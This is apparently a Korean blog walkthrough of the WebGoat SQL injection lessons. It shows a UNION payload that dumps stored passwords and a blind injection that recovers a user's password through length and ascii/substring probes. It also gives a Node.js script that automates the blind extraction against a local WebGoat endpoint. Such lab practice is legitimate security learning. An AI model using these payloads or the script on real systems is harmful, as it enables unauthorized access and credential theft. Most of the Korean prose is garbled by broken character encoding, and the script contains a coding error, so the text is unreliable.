/* */ are inline comments
--, # are line comments
Example:
SELECT * FROM users WHERE name='admin' --AND pass='pass'
; allows query chaining
', +, || allows string concatenation
char() strings without quotes
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
The Union operator is used, to combine the results of two or more SELECT Statements.
Rules to keep in mind, when working with a UNION:
The number of columns selected in each statement must be the same.
The datatype of the first column in the first SELECT statement, must match the datatype of the first column in the second(thirs, fourth, ...) SELECT Statement. The Same applies to all other columns.
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
The UNION ALL Syntax also allows duplicate Values.
The Join operator is used to combine rows from two or more tables, based on a related column.
๋ ๊ฐ ์ด์์ ํ ์ด๋ธ์ด๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฐ๊ฒฐํ์ฌ ๋ฐ์ดํฐ๋ฅผ ๊ฒ์ํ๋ ๋ฐฉ๋ฒ.
By using Primary key or Foreign key, you can connect two tables. To connect tables, there are at least one or more columns shared by the tables.
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;
๊ต์งํฉ์ด๋ผ๊ณ ์๊ฐํ๋ฉด ๋๋ค. ๊ธฐ์คํ ์ด๋ธ๊ณผ Joinํ ํ ์ด๋ธ์ ์ค๋ณต๋ ๊ฐ์ ๋ณด์ฌ์ค๋ค.
๊ฒฐ๊ณผ๊ฐ์ ๋ ํ ์ด๋ธ์ด ๋ชจ๋ ๊ฐ์ง๊ณ ์๋ ๋ฐ์ดํฐ๋ง ๊ฒ์๋๋ค.
SELECT [ํ
์ด๋ธ ๋ณ์นญ.์กฐํํ ์นผ๋ผ] FROM [๊ธฐ์คํ
์ด๋ธ๋ช
๋ณ์นญ] INNER JOIN [์กฐ์ธํ
์ด๋ธ๋ช
๋ณ์นญ] ON [๊ธฐ์คํ
์ด๋ธ๋ช
.๊ธฐ์คํค] = [์กฐ์ธํ
์ด๋ธ๋ช
.๊ธฐ์คํค]
--์์ --
SELECT
A.NAME, --Aํ
์ด๋ธ์ NAME์กฐํ
B.AGE --Bํ
์ด๋ธ์ AGE์กฐํ
FROM EX_TABLE A
INNER JOIN JOIN_TABLE B ON A.NO_EMP = B.NO_EMP AND A.DEPT = B.DEPT
๊ธฐ์คํ ์ด๋ธ์ด ์ผ์ชฝ์ด ๋๋ ๊ฒ์ด๋ค.
SELECT A.NAME, B.AGE --Aํ
์ด๋ธ์ name, Bํ
์ด๋ธ์ age ์กฐํ
FROM EX_TABLE A --๊ธฐ์คํ
์ด๋ธ: EX_TABLE ๋ณ์นญ: A
LEFT OUTER JOIN JOIN_TABLE B ON A.NO_EMP = B.NO_EMP AND A.DEPT = B.DEPT
๊ธฐ์คํ ์ด๋ธ์ ๊ฐ + ์กฐ์ธํ ์ด๋ธ๊ณผ ๊ธฐ์คํ ์ด๋ธ์ ์ค๋ณต๋ ๊ฐ์ ๋ณด์ฌ์ค๋ค.
A๋ฅผ ๊ธฐ์ค์ผ๋ก ํ๋ค๋ฉด A์ ๋ชจ๋ ๋ฐ์ดํฐ์ A์ B์ ์ค๋ณต๋ ๊ฐ์ ๋ณด์ฌ์ค๋ค.
left outer join์ ๋ฐ๋์ด๋ค.
์ค๋ฅธ์ชฝํ ์ด๋ธ์ ๊ธฐ์ค์ผ๋ก join์ ํ๊ฒ ๋ค๋ ๊ฒ์ด๋ค.
์ฝ๊ฒ ๋งํด ํฉ์งํฉ์ด๋ค. A์ B๊ฐ ๊ฐ์ง๊ณ ์๋ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ๊ฒ์๋๋ฏ๋ก ์ฌ์ค์ ๊ธฐ์คํ ์ด๋ธ์ ์๋ฏธ๊ฐ ์๋ค.
์ด์ธ์๋ ์ ๋ง ๋ง์ ์ข ๋ฅ์ JOIN์ด ์๋ค๊ณ ํ๋ค. ํ์ง๋ง ์ฐ๋ฆฌ๊ฐ ์๋ํ๋ ๋ฌธ์ ๋ค์ด ๋์ ์์ค์ sql ์ค๋ ฅ์ ์๊ตฌํ์ง ์์ผ๋ ์ฌ๊ธฐ๊น์ง๋ง ํ๊ฒ ๋ค.
The input field below is used to get data from a user by their last name.
The table is called 'user_data':
CREATE TABLE user_data (userid int not null,
first_name varchar(20),
last_name varchar(20),
cc_number varchar(30),
cc_type varchar(10),
cookie varchar(20),
login_count int);
์ด ๋ฌธ์ ๋ ์ด ํ
์ด๋ธ์ด sqli์ ์ทจ์ฝํ๋ค๊ณ ๊ฐ์ ํ๋ค. ์ด์ ์ฐ๋ฆฌ๊ฐ ๋ฐ์ดํฐ๋ฅผ ๋ฐ์์์ผํ ํ
์ด๋ธ user_system_data
๋ ๋ค์๊ณผ ๊ฐ๋ค :
CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12),
password varchar(10),
cookie varchar(30));
๋ฌธ์ a) Retrieve all data from the table
1'; SELECT user_name, cc_type FROM user_data UNION SELECT user_name, password FROM user_system_data;--
๋ด๊ฐ ์ํ๋ ๊ฑด user_system_data
์ ๋ฐ์ดํฐ์๊ณ , ์ด๋ฏธ sqli์ ์ทจ์ฝํ๋ค๊ณ ์๋ ค์ ธ์๋ user_data
ํ
์ด๋ธ์ ์กฐํํ๋ฉด์ UNION
์ ์ฌ์ฉํ๋ฉด ๋๋ ๋ฌธ์ ์๋ค.
์ฃผ์์ฌํญ์ ์ญ์ UNION
์ ํ๋ ๋ฐ ์์ด์ ์ปฌ๋ผ์ ๊ฐ์์, ์ปฌ๋ผ์ ๋ฐ์ดํฐํ์
์ด ์ผ์นํด์ผํ๋ค๋ ๊ฒ์ด๋ค. ๊ทธ๋์ user_data
์์ password
์ ์๋ฃํ๊ณผ ๋์ผํ cc_type
์ ์กฐํํ ๊ฒ์ด๋ค. (์ฌ์ค user_name
๋ ์ด๋ฆ์ด ๋์ผํ ๋ฟ์ด์ง ๊ฐ์ ์ด์ ์์ ์กฐํ๋ ๊ฒ์ด๋ค.)
๊ฒฐ๊ณผ๋ ๋ฐ์์ฒ๋ผ ๋์๋ค.
b) When you have figured it out... What is Dave's password?
์์ ๋ฌธ์ ์์ user_system_data
์ last_name
๊ณผ password
๋ฅผ ์กฐํํ์ผ๋๊น ์ ์ฌ์ง์์ dave์ ๊ฒ์ ์ฐพ์ผ๋ฉด ๋๋ค. dave์ ๋น๋ฐ๋ฒํธ๋ passW0rD
๊ฐ ๋๊ฒ ๋ค.
๋ต์ ์ ๋ ฅํ๋ฉด
Congratulations ๋ผ๋ ๋ฌธ๊ตฌ๊ฐ ๋ฌ๋ค!
Blind Injection์ ์ค๋ฅ๋ฉ์์ง๊ฐ ์ถ๋ ฅ๋์ง ์๋ ์ฌ์ดํธ์์ SQL ์ฟผ๋ฆฌ์ ์ฐธ/๊ฑฐ์ง ๋์์ ๋ฐ๋ฅธ ์๋ต์ ๋ณด๊ณ DB๊ตฌ์กฐ๋ฅผ ํ์ ํ๋ ๊ณต๊ฒฉ๊ธฐ๋ฒ์ด๋ค.
์ด๋ฒ ๋ฌธ์ ๋ Blind Injection์ ์ด์ฉํด์ ํ์ด๋ณด์.
login
์ฐฝ์์๋ ์ฐ๋ฆฌ๊ฐ ์ด์ฉํ ๋งํ ์ฟผ๋ฆฌ๊ฐ ์ฐ์ด์ง ์๋ ๊ฒ ๊ฐ์๋ค.
๊ทธ๋์ Register
๋ก ๋ค์ด๊ฐ ๊ฐ์
์ ๋ณด๋ฅผ ์จ์ฃผ๊ณ ๋ฒํผ์ ๋๋ฅด๊ธฐ ์ ์ HTTP ํจํท์ ์ก์์ ๋ณด๊ธฐ ์ํด ๋ฒํ์ค์ํธ๋ฅผ ์คํํด์คฌ๋ค.
proxy
> Intercept is on
์ ๋๋ฌ HTTP ์์ฒญ์ ๊ฐ๋ก์ฑ๋ ์ํ๋ก ๋ค์ด์๊ฒ ํ ํ, ์น ํ์ด์ง์ Register Now
๋ฒํผ์ ๋๋ฌ ํผ์ ์ ์ถํ๋ฉด ๋๋ค.
์๊ฐ ์์ฒญ(Request) ํจํท,
์๊ฐ ์๋ต(Response) ํจํท์ด๋ค. ์๋ต ๋ฐ๋๋ฅผ ๋ณด๋ฉด
"feedback" : "User test created, ..."
๊ฐ์
์์ฒญ์ ๋ํ ์๋ต์ผ๋ก test
๋ผ๋ ์ด๋ฆ์ผ๋ก User๊ฐ ์์ฑ๋์๋ค๋ ๋ฉ์์ง๊ฐ ์๋ค.
์ด ๋ฌธ์ฅ์ ๋ณด๋ฉด username
์ด ์ด๋ฏธ ์๋์ง ์๋์ง ์ค๋ณต์กฐํ๋ฅผ ํ ๊ฒ์ด๊ณ , ์๋ฒ๋ ์กฐํ๋ฅผ ์ํด DB์์ SELECT ๋ฌธ์ ์คํํ ๊ฑฐ๋ผ๊ณ ์ถ์ธกํ ์ ์๋ค.
๊ทธ๋ฆฌ๊ณ , ์๋ง ์ค๋ณต ์กฐํ ์ดํ ์ค๋ณต์์ด๋๊ฐ ์์ ๊ฒฝ์ฐ user ํ
์ด๋ธ์ ์๋ก์ด ์์ด๋์ ๋น๋ฐ๋ฒํธ๋ฅผ INSERT
ํ ๊ฒ์ด๋ค.
์ฐ๋ฆฌ๋ ์ด ์ค SELECT
๋ฌธ์ ์ด์ฉํด ์ธ์ ์
์ ์๋ํ ๊ฒ์ด๋ค. ๊ทธ๋ฌ๋ฌ๋ฉด ์ฐ์ ์ด ํ์๊ฐ์
์์ฒญ์ ์ฒ๋ฆฌํ ๋ ์คํ๋๋ SELECT ๋ฌธ์ ์ด๋ป๊ฒ ์๊ฒผ์์ง๋ฅผ ๊ณ ๋ฏผํด์ผํ๋ค.
url๋ก ๊ฐ๋ ํ๋ผ๋ฏธํฐ ๋ณ์ ์ด๋ฆ ํ์ธํ๊ธฐ
: ๋น๋ฐ๋ฒํธ๋ฅผ ์ ์ฅํ๋ ์ปฌ๋ผ์ ํค ์ด๋ฆ์ด password
์์ ์ ์ถํ ์ ์์.
๋ค๋ฅธ ์์ด๋๋ก ์๋ก ๊ฐ์ ํด๋ณด๊ธฐ
: ์ค๋ณต์ด ์๋ ๋๋ (์์ด๋: aoieuo
) ์ด๋ป๊ฒ ๋์ค๋์ง ํ์ธ.
์ฑ๊ธ์ฟผํฐ ์จ๋ณด๊ธฐ: Escape ์ฌ๋ถ ํ์ธํ๊ธฐ
ํ์ดํ(์ฐ๊ฒฐ์ฐ์ฐ์) ์จ๋ณด๊ธฐ: Concatenation ๊ฐ๋ฅ ์ฌ๋ถ, ํํฐ๋ง๋๋์ง ํ์ธํด๋ณด๊ธฐ
๊ฒฐ๊ณผ: ์ ์ฌ์ง์ ๋ณด๋ฉด aoi'||'euo
๊ฐ aoieuo
๋ก ์ธ์๋ผ์ 'User 'aoi||euo' already exists ...' ๋ผ๋ ๋ฉ์์ง์ ํจ๊ป ์ด๋ฏธ ์๋ ์์ด๋๋ผ๋ ์๋ต์ด ๋์์๋ค. ์๋ต ๋ฉ์์ง์ ์์ด๋๋ ์๋ง ์ฌ์ฉ์ ์
๋ ฅ๊ฐ์ ๊ทธ๋๋ก ๋ณด๋ด์ ํ์ดํ๊ฐ ๋ณด์ด๋ ๊ฒ ๊ฐ๊ณ , ๊ฒฐ๊ณผ๋ฅผ ๋ณด๋ ํ์ดํ๋ฅผ ์ฌ์ฉํ๋ฉด Concatenation์ด ๋๋ ์ทจ์ฝ์ ์ด ์๋ ๊ฒ ๊ฐ๋ค!
user_name='tom'
์จ๋ณด๊ธฐ: tom์ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ด์ผ ํ๋๊น ๊ทธ๋ฅ ํ ๋ฒ ๋ณด๋ด๋ดค๋ค. ์ญ์ ์๋ต์ ์ด๋ฏธ ์กด์ฌํ๋ ์์ด๋๋ผ๋ ๋ด์ฉ์ด๋ค.
์ทจ์ฝ์ ์ ํ์ธํ์ผ๋ ๊ณต๊ฒฉ์ ์์ํด๋ณด์.
์ฐ์ ์์ด๋ ์ค๋ณต์กฐํ SELECT๋ฌธ์ ์ด๋ ๊ฒ ์์ํ ๊ฒ์ด๋ค.
SELECT * FROM member WHERE username=''...
์ฐ๋ฆฌ๋ ์ฟผ๋ฆฌ ์คํ ํ ์ฐธ/๊ฑฐ์ง์ ๋ฐ๋ผ ๋ฌ๋ฆฌ ๋ณด์ด๋ ๊ฒฐ๊ณผ๋ฅผ ์ด์ฉํ๋ Blind Injection ๊ธฐ๋ฒ์ ์ด์ฉํ๋ค.
์๋ ์๋ฒ์์๋ ๊ฐ์ ์์ด๋๊ฐ ์กด์ฌํ๋ฉด ์ฟผ๋ฆฌ๋ฌธ ์คํ ๊ฒฐ๊ณผ๊ฐ true
๊ฐ ๋๊ณ ์ค๋ณต ์์ด๋๊ฐ ์กด์ฌํ๋ค๋ ์๋ต์ ๋ณด๋ผ๊ฑฐ๊ณ , ์ค๋ณต ์์ด๋๊ฐ ์๋์ด์ ์ฟผ๋ฆฌ๊ฐ false
๊ฐ ๋๋ฉด ํ์๊ฐ์
์ด ์๋ฃ๋๋ค๋ ์๋ต์ ๋ณด๋ผ ๊ฒ์ด๋ค.
์ฐ๋ฆฌ๋ ์ฟผ๋ฆฌ์ ์ฐธ/๊ฑฐ์ง ์ฌ๋ถ๋ฅผ ๋ฐ๊ฟ์ค ์ ์๋ WHERE
์ ์ password
์ ๋ํ ์กฐ๊ฑด์ ๋ฌ์ ์ฟผ๋ฆฌ๊ฐ ์ฐธ์ด ๋ ๋๊น์ง ์๋ํ๋ค.
์ฐ์ password
์ ๊ธธ์ด๋ง ์์๋ธ ํ์, ์์คํค์ฝ๋ ์ด์ง๊ฒ์์ผ๋ก ํ ๊ธ์์ฉ ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ผ ๊ฒ์ด๋ค.
SELECT * FROM member WHERE username='tom' and length(password)>0--
์ฒซ๋ฒ์งธ FROM
์ ์คํ, WHERE
์ ์คํ: username='tom'
์ด ์ฐธ์ด๋๋ ๊ฐ๋ค๋ง ๊ฐ์ ธ์จ๋ค. and
์ฐ์ฐ์๋ฅผ ์จ์ผ tom์ password๊ฐ ์กฐํ๋๋ค.
๊ทธ๋ฆฌ๊ณ ์กฐํ๋์ ๋ true
๊ฐ ๋๋ฉด User ~ already exitsts...
๊ฐ ๋์ค๋ ๊ฒ์ด๋ค. ์ฐ๋ฆฌ๋ ๋น๋ฐ๋ฒํธ์ ๋ํ ์กฐ๊ฑด๋ค์ ์ฟผ๋ฆฌ์ ๋ฃ์ด๊ฐ๋ฉด์ ์ฐธ/๊ฑฐ์ง์ ํตํด ๋น๋ฐ๋ฒํธ๋ฅผ ์์๋ผ ์ ์๋ ๊ฒ์ด๋ค: Blind Injection
length(password)>[๊ธธ์ด]
๋ก ์กฐ๊ฑด์ ๋ฌ์๋๊ณ , [๊ธธ์ด]
๊ฐ์ ๊ณ์ ๋ฐ๊ฟ๊ฐ๋ฉด์ ๊ฒฐ๊ณผ๋ฅผ ๋ณด๊ณ ๊ธธ์ด๋ฅผ ์์๋ผ ์ ์๋ค.
์ด๋ ๊ฒ ์ค๋ฉด true
, password์ ๊ธธ์ด๊ฐ ์
๋ ฅํ ์ซ์๋ณด๋ค๋ ๊ธธ๋ค๋ ๊ฒ์ด๋ค.
HTTP/1.1 200 OK
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sun, 04 Oct 2020 13:43:53 GMT
{
"lessonCompleted" : true,
"feedback" : "User {0} already exists please try to register with a different username.",
"output" : null,
"assignment" : "SqlInjectionChallenge",
"attemptWasMade" : true
}
์ฐ๋ฆฌ๊ฐ ๋ฌ์ ๋์ ์กฐ๊ฑด์ด false
์ผ ๋, ์ฟผ๋ฆฌ์ ์กฐํ ๊ฒฐ๊ณผ๋ ์๋ฌด๊ฒ๋ ์์ ๊ฒ์ด๋ค. ๊ทธ๊ฒ์ ์ฆ ํ์๊ฐ์
์ด ๊ฐ๋ฅํ ์ํ์ด๊ณ , '... created, please proceed to ...'๋ผ๋ฉฐ ํ์์ด ์์ฑ๋์๋ค๋ ์๋ต์ด ๋์์จ๋ค. password์ ๊ธธ์ด๊ฐ length(password)>[๊ธธ์ด]
์ ์
๋ ฅํ [๊ธธ์ด]
๋ณด๋ค ๊ฐ๊ฑฐ๋ ํฌ๋ค๋ ๊ฒ์ด๋ค.
HTTP/1.1 200 OK
Connection: close
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Type: application/json
Date: Sun, 04 Oct 2020 13:44:52 GMT
{
"lessonCompleted" : true,
"feedback" : "User tom' and length(password)>40-- created, please proceed to the login page.",
"output" : null,
"assignment" : "SqlInjectionChallenge",
"attemptWasMade" : true
}
๊ณ์ ์ซ์๋ฅผ ๋ฐ๊ฟ๊ฐ๋ฉด์ ํ๋ค๋ณด๋ฉด, 22๊น์ง๋ true
(ํ์๊ฐ์
๋ถ๊ฐ)์๋ค๊ฐ 23์์๋ถํฐ false
(ํ์๊ฐ์
์ฑ๊ณต)๋ก ๋ฐ๋๋ค.
์ด๋ ๊ฒ ํจ์ค์๋์ ๊ธธ์ด๊ฐ 23(Bytes)
๋ผ๋ ๊ฒ์ ์์๋๋ค!
substring()์ ๋ฌธ์์ด์ ๋ฐํ, ๊ทธ๋ฆฌ๊ณ ascii()
๋ ์์คํค์ฝ๋ 32~126
๋ฅผ ๋ฐํํ๋ค. ๊ทธ๋์ ์ฐ๋ฆฐ ์ด ๋ ํจ์๋ฅผ ์ด์ฉํด์ ๋น๋ฒ 23๊ธ์๋ฅผ ํ ๊ธ์์ฉ ์ ์ฑ๊ป ์ด์ง๊ฒ์์ ํ๋ค. ๋ฒ์๋ฅผ ์ขํ๋๊ฐ์, ์๊น ๋ฌธ์์ด์ ๊ธธ์ด๋ฅผ ์์๋์ ๋์ฒ๋ผ, ๊ฒฐ๊ณผ๊ฐ์ด ๋ฐ๋๋ ์ซ์๊ฐ ํด๋น ์๋ฆฌ ๋ฌธ์์ ์์คํค์ฝ๋๊ฐ ๋๋ ๊ฒ์ด๋ค.
tom'+and+substring(password,1,1)='a'-- //์ด๊ฑด ์์ฐจํ์
tom'+and+ascii(substring(password,1,1))>80-- //์ด์งํ์! ๋์ถฉ 80๋ถํฐ ์์ํ๋ฉด ๋๋ค.
ํ ๊ธ์ ํ ๊ธ์๋ฅผ 23๋ฒ ๋ค ํด์ ์์๋ธ ๋น๋ฒ์
thisisasecretfortomonly
์ด๋ค. This is a secret for Tom only.
Done!
SQL Injection Advanced ๋ง์นฉ๋๋ค
+) ์ถ๊ฐ: ์ค๋ฌผ์ธ๊ธ์ ์ ๋ถ๋ฅผ ๋ ธ๊ฐ๋ค๋ก ํ๋๊ฒ ์ซ๊ณ ๋ฉ๋ ์์ด์ ์๋์ผ๋ก ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์์ฃผ๋ ์ฝ๋๋ฅผ ์ง๋ดค๋ค.
๋ณดํต์ ์ค์ ๋ก ๊ณต๊ฒฉํ ๋๋ ์๋์ผ๋ก ํ๋๊น ์ด๋ฐ ์ฝ๋๋ฅผ ์ง๋ณด๋ ๊ฒ๋ ์ข์ ๊ฒ ๊ฐ์๋ค. ํ์ด์ฌ์ผ๋ก ์ฝ๋๋ฅผ ์ง ์ฌ๋์ด ์์๋๋ฐ bruteforce attack
์ด์ด์ ์๊ฐ์ด 30๋ถ์ด๋ ๊ฑธ๋ ธ๋ค๊ณ ํ๋ค. ๋๋ node๋ก ์ด์งํ์์ ๊ตฌํํด์ ์๊ฐ์ ๋จ์ถํด๋ณด๋ ค๊ณ ์๋ก ์ฝ๋๋ฅผ ์ง๋ดค๋ค!๐
const request = require('request-promise-native');
const url = 'http://localhost:8080/WebGoat/SqlInjectionAdvanced/challenge';
const options = {
url,
method: 'PUT',
headers: {
'Host': 'localhost:8080',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': 'application/x-www-form-urldncoded; charset=UTF-8',
'Cookie': 'JSESSIONID=[์ฟ ํค๊ฐ]', // Burp Suite๋ก ์ป์ ์ฟ ํค๊ฐ ์ง์ด๋ฃ๊ธฐ
'origin': 'localhost:8080'
},
form: {
email_reg: 'rkdkdudjd@gmail.com',
password_reg: 'any',
confirm_password_reg: 'any'
}
};
const getPassword = async () => {
let ans = '';
for (let i = 1; i < 24; i++) {
let low = 32, high = 126, mid;
while (low < high) {
mid = parseInt((low+high)/2);
options.form.username_reg = 'tom\' and ascii(substring(password,' + i + ',1))>' + mid + '--';
const response = await request.put(options, url);
response = JSON.parse(response);
if(response.feedback.includes('already')) { // true: ๋ฒ์ ์ผ์น, ascii ๊ฐ์ด mid๋ณด๋ค ํผ.
low = mid + 1;
} else if (response.feedback.includes('created')) { // false: ๋ฒ์ ๋ถ์ผ์น, ascii ๊ฐ์ด mid๋ณด๋ค ๊ฐ๊ฑฐ๋ ์์.
high = mid;
}
}
ans += String.fromCharCode(low);
}
console.log(`tom's password: ${ans}`);
}
getPassword();
๋ด๊ฐ ์์ผ๋ก ํ๋ ๋ฐฉ๋ฒ ๊ทธ๋๋ก ์ฝ๋๋ก ๋ฐ๊พธ๊ธฐ๋ง ํ ๊ฒ์ด๋ค. ๊ทผ๋ฐ ์๋ฐ์คํฌ๋ฆฝํธ๋ฅผ ์ ๋ชปํด์ ์ด ์งง์ ์ฝ๋๋ฅผ ์ง๋๊ฒ ๋ ธ๊ฐ๋ค ํ๋๊ฑฐ๋ณด๋ค ์ค๋๊ฑธ๋ ธ๋ค๐ ๊ทธ๋๋ ๋๋ ค๋ณด๋ ๋น๋ฐ๋ฒํธ๊ฐ 1๋ถ ๋ด๋ก ๋์์ ๋ฟ๋ฏํ๋ค๐ ์ง์ง ๋!